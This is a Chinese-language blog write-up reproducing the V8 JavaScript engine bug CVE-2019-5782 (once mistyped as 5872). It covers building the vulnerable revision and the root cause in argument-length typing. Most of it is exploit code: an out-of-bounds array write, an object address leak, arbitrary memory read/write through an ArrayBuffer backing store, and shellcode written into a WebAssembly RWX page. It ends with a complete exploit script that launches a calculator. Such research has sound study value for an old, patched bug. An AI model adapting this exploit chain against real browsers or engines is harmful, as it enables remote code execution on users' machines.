CVE-2019-5782
v8 引擎漏洞 CVE-2019-5872 复现,因本人对 JIT 技术的了解较浅,故本文对漏洞成因的 JIT 方面并不做详细的说明。
环境
切换到漏洞修复前的版本,进行编译:
$ git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9
$ gclient sync
debug 模式调试会有点问题,所以选择 release 模式进行编译
$ ./tools/dev/v8gen.py x64.release
为了使用 job 等调试命令,在 out.gn/x64.release/args.gn
里写入下面配置:
is_debug = false
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
最后编译即可
$ ninja -C out.gn/x64.release d8
漏洞分析
先使用官方的 Poc 进行测试:
// Copyright 2018 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
assertEquals(16, a2.length);
for (let i = 8; i < 32; i++) {
assertEquals(undefined, a2[i]);
}
上面的 assertEquals
是没有定义的,稍作更改如下:
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for (let i = 0; i < 3; i++) fun(...a4);
%OptimizeFunctionOnNextCall(fun);
fun(...a4);
res = fun(...a3);
console.log(a2.length);
for (let i = 8; i < 32; i++) {
console.log(a2[i]);
}
可以看到,a2 数组的长度从 16 变成了 42(0x2a),且从 a2[16]
往后的数值都不是 undefined,很明显出现了数组越界
稍加调试,就可以发现问题出现在这里:
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
这里造成了越界写操作,把 a2 的 length 给改写了,但实际上对数组越界写的情况是会导致数组扩容的,经过了解,这是因为 JIT 优化把越界的一些检查去掉了,导致漏洞的产生
可以看看漏洞修复的 diff :
修复前,函数参数的长度类型是 Type::Range(0.0, Code::kMaxArguments, zone());
Code::kMaxArguments
的值是 65534,表示函数支持的最大参数数量是 65534,但是后来函数参数支持更多了,这里确没有更改,Poc 中使用了右移 16 位的操作符,65534 右移 16 位必定是 0,所以 JIT 认为这一计算始终是 0,于是进行了优化,把一些越界检查给去掉了,因此造成了越界读写的漏洞
漏洞利用
只要改写 a2 的 length 字段很大的值,那么 a2 数组可以越界的范围很大,漏洞利用起来也很简单
- 先利用数组越界读写泄露对象的地址
- 再利用越界读写构造任意地址读写
- 结合 1, 2 可以 leak 出 wasm 的 RWX 段位置,再任意写注入 shellcode
先仿照 Poc 将 a2 的 length 改成很大的值,如 0xffff:
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;
for (let i = 0; i < 100000; i++) fun(1);
//%OptimizeFunctionOnNextCall(fun);
fun(...a3);
其中的 %OptimizeFunctionOnNextCall(fun)
其实让 JIT 优化 fun
函数,其实可以用多次循环调用 fun
函数来替代
这里为了方便后续的使用,还写了 BigInt 与 Float 类型的互相转换函数:
var fi_buf = new ArrayBuffer(8);
var f_buf = new Float64Array(fi_buf);
var i_buf = new BigUint64Array(fi_buf);
function f2i(value) {
f_buf[0] = value;
return i_buf[0];
}
function i2f(value) {
i_buf[0] = value;
return f_buf[0];
}
泄露对象地址
先定义一个对象 objLeak
,有 tag
和 leak
属性,利用越界读,找到 tag
属性值 0x4567 相对于数组 a2 偏移的索引,即可得到 leak
属性对应的索引 offset_leak
,再通过 a2[offset_leak]
即可将 leak
属性的 float 值读出来,只要往 leak
属性放入任意的对象,即可读出任意对象的地址
代码如下:
var objLeak = {'leak': 0x1234, 'tag': 0x4567};
var offset_leak = 0;
for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0x456700000000) {
offset_leak = i - 1;
break;
}
}
console.log('offset_leak = ' + offset_leak);
function addressOf(obj) {
objLeak.leak = obj;
return f2i(a2[offset_leak]);
}
var objTest = {'aaa': 123};
%DebugPrint(objTest);
console.log('addressOf(objTest) = 0x' + addressOf(objTest).toString(16));
%SystemBreak();
上面还用了 objTest
对象来测试 addressOf
,调试结果如下:
任意地址读写
任意地址读写其实也很简单,可以先定义一个 ArrayBuffer 对象,改写它的 backing_store 指针,就可以对指向的地方任意读写
var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;
%DebugPrint(buf2write);
%SystemBreak();
调试可以看到,ArrayBuffer 的 length 字段是指定的 0xbeef,用同样的方式,找到 0xbeef 即可找到对应在 a2 数组的索引,随之即可找到 backing_store 指针的位置
代码如下:
var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;
%DebugPrint(buf2write);
%SystemBreak();
for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0xbeef) {
offset_backing_store = i + 1;
break;
}
}
function write64(addr, value) {
a2[offset_backing_store] = i2f(addr);
data_view.setFloat64(0, i2f(value), true);
}
function read64(addr) {
a2[offset_backing_store] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}
write64(addressOf(objTest) + 0x18n - 1n, 0x2333n);
%DebugPrint(objTest);
console.log('value = 0x' + read64(addressOf(objTest) + 0x18n - 1n).toString(16));
%SystemBreak();
调试测试一下,这是 ArrayBuffer 修改前:
然后看到 objTest 被改写了:
ArrayBuffer 也同预期那样,backing_store 指针被改写了:
利用 wasm 执行 shellcode
大致按照下面的路线找到 RWX 段的地址,然后注入 shellcode 就行
wasmInstance.exports.main -> shared_info -> data -> instance -> rwx_page
先构造一个 wasm 对象
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();
对象 shared_info 的地址在对象 f 的 +0x18 偏移处:
对象 data 的地址在 shared_info 的 +0x8 偏移处:
在 data 偏移 +0x10 处找到 instance 对象的地址:
在 instance+0xe8 处找到 RWX 段的地址:
找 RWX 段的过程也可以参照本人之前写的 starctf oob 复现 的文章
写入 shellcode:
var f_addr = addressOf(f) - 1n;
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var data_addr = read64(shared_info_addr + 0x8n) - 1n;
var instance_addr = read64(data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(instance_addr + 0xe8n);
var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
]
for (let i = 0n; i < sc_arr.length; i++) {
write64(rwx_page_addr + i * 8n, sc_arr[i]);
}
console.log(f());
成功弹出计算器:
生成 shellcode 的脚本同样可以参考之前的文章 starctf oob 复现
完整 exp
var fi_buf = new ArrayBuffer(8);
var f_buf = new Float64Array(fi_buf);
var i_buf = new BigUint64Array(fi_buf);
function f2i(value) {
f_buf[0] = value;
return i_buf[0];
}
function i2f(value) {
i_buf[0] = value;
return f_buf[0];
}
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
var a3 = [1.1,2.2];
a3.length = 0x11000;
for (let i = 0; i < 100000; i++) fun(1);
//%OptimizeFunctionOnNextCall(fun);
fun(...a3);
//console.log(a2.length);
//%DebugPrint(a1);
//%DebugPrint(a2);
//%SystemBreak();
var objLeak = {'leak': 0x1234, 'tag': 0x4567};
var offset_leak = 0;
for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0x456700000000) {
offset_leak = i - 1;
break;
}
}
console.log('offset_leak = ' + offset_leak);
function addressOf(obj) {
objLeak.leak = obj;
return f2i(a2[offset_leak]);
}
var objTest = {'aaa': 123};
//%DebugPrint(objTest);
console.log('addressOf(objTest) = 0x' + addressOf(objTest).toString(16));
//%SystemBreak();
var buf2write = new ArrayBuffer(0xbeef);
var data_view = new DataView(buf2write);
var offset_backing_store = 0;
//%DebugPrint(buf2write);
//%SystemBreak();
for (let i = 0; i < 0xffff; i++) {
if (f2i(a2[i]) == 0xbeef) {
offset_backing_store = i + 1;
break;
}
}
function write64(addr, value) {
a2[offset_backing_store] = i2f(addr);
data_view.setFloat64(0, i2f(value), true);
}
function read64(addr) {
a2[offset_backing_store] = i2f(addr);
return f2i(data_view.getFloat64(0, true));
}
write64(addressOf(objTest) + 0x18n - 1n, 0x2333n);
//%DebugPrint(objTest);
console.log('value = 0x' + read64(addressOf(objTest) + 0x18n - 1n).toString(16));
//%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
//%DebugPrint(f);
//%SystemBreak();
var f_addr = addressOf(f) - 1n;
var shared_info_addr = read64(f_addr + 0x18n) - 1n;
var data_addr = read64(shared_info_addr + 0x8n) - 1n;
var instance_addr = read64(data_addr + 0x10n) - 1n;
var rwx_page_addr = read64(instance_addr + 0xe8n);
var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
]
for (let i = 0n; i < sc_arr.length; i++) {
write64(rwx_page_addr + i * 8n, sc_arr[i]);
}
console.log(f());
参考
- https://gtoad.github.io/2019/09/01/V8-CVE-2019-5782/
- https://bugs.chromium.org/p/chromium/issues/detail?id=906043
- https://xz.aliyun.com/t/5712
- https://www.sunxiaokong.xyz/2020-02-25/lzx-cve-2019-5782/
- https://cy2cs.top/2020/06/24/%E8%BF%91%E6%9C%9F%E5%88%86%E6%9E%90%E7%9A%84%E4%B8%A4%E4%B8%AA-v8-%E6%BC%8F%E6%B4%9E/
- https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04%5E!
- https://chromium.googlesource.com/v8/v8.git/+/deee0a87c0567f9e9bf18e1c8e2417c2f09d9b04